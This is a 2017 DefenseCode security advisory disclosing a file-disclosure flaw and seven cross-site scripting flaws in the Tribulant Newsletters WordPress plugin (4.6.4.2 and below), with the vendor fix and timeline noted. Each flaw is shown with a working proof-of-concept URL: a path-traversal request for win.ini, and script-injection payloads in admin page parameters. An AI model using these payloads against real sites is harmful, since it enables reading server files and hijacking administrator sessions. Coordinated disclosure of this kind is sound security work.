WordPress Plugin Tribulant Newsletters 4.6.4.2 - File Disclosure / Cross-Site Scripting

DefenseCode WebScanner DAST Advisory
WordPress Tribulant Newsletters Plugin
 Multiple Security Vulnerabilities


Advisory ID:            DC-2017-01-012
Advisory Title:         WordPress Tribulant Newsletters Plugin
Multiple Vulnerabilities
Advisory URL:           http://www.defensecode.com/advisories.php
Software:               WordPress Tribulant Newsletters Plugin
Language:               PHP
Version:                4.6.4.2 and below
Vendor Status:          Vendor contacted, update released
Release Date:           2017/05/29
Risk:                   Medium



1. General Overview
===================
During the security audit of Tribulant Newsletters plugin for
WordPress CMS, multiple vulnerabilities were discovered using
DefenseCode WebScanner application security analysis platform.

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http://www.defensecode.com


2. Software Overview
====================
According to the authors, WordPress Tribulant Newsletters plugin is a
full-featured newsletter plugin for WordPress which fulfils all
subscribers, emails, marketing and newsletter related needs for both
personal and business environments.

According to wordpress.org, it has more than 9,000 active installs.

Homepage:
https://wordpress.org/plugins/newsletters-lite/
http://tribulant.com/plugins/view/1/wordpress-newsletter-plugin


3. Vulnerability Description
==================================
During the security analysis, WebScanner discovered File Disclosure
vulnerability and multiple Cross Site Scripting vulnerabilities in
Tribulant Newsletters plugin.

3.1 File Disclosure
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Input:          $_GET['file']
Vulnerable URL:
http://vulnerablesite.com/wp-admin/admin.php?page=newsletters-history&wpmlmethod=exportdownload&file=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cWINDOWS%5cwin.ini

3.2 Cross-Site Scripting
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Input:          $_GET['method']
Vulnerable URL:
http://vulnerablesite.com/wp-admin/admin.php?page=newsletters-subscribers&method=check-expired%5C%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E

3.3 Cross-Site Scripting
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Input:          $_GET['id']
Vulnerable URL:
http://vulnerablesite.com/wp-admin/admin.php?page=newsletters-subscribers&method=view&id=1%5C%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E
Note: Subscriber id (parameter "id") must exist. Value 1 is a good guess for start 

3.4 Cross-Site Scripting
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Input:          $_GET['id']
Vulnerable URL:
http://vulnerablesite.com/wp-admin/admin.php?page=newsletters-lists&method=view&id=1%5C%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E

3.5 Cross-Site Scripting
----
Input:          $_GET['value']
Vulnerable URL:
http://vulnerablesite.com/wp-admin/admin-ajax.php?action=newsletters_gauge&value=1});alert(1);</script>

3.6 Cross-Site Scripting
----
Input:          $_GET['order']
Vulnerable URL:
http://vulnerablesite.com/wp-admin/admin.php?page=newsletters-history&orderby=theme_id&order=%22%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E

3.7 Cross-Site Scripting
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Input:          $_GET['wpmlsearchterm']
Vulnerable URL:
http://vulnerablesite.com/wp-admin/admin.php?page=newsletters-history&wpmlsearchterm=x%5C%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E

3.8 Cross-Site Scripting
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Input:          $_GET['wpmlmessage']
Vulnerable URL:
http://vulnerablesite.com/wp-admin/admin.php?page=newsletters-subscribers&wpmlupdated=true&wpmlmessage=%3Cscript%3Ealert%281%29%3C%2Fscript%3E


4. Solution
===========
Vendor resolved the security issues after we reported the
vulnerabilities. All users are strongly advised to update WordPress
Tribulant Newsletters plugin to the latest available version.


5. Credits
==========
Discovered with DefenseCode WebScanner security analyzer
by Neven Biruski.


6. Disclosure Timeline
======================
2017/04/04      Vendor contacted
2017/04/06      Vendor responded, update released
2017/05/29      Advisory released to the public


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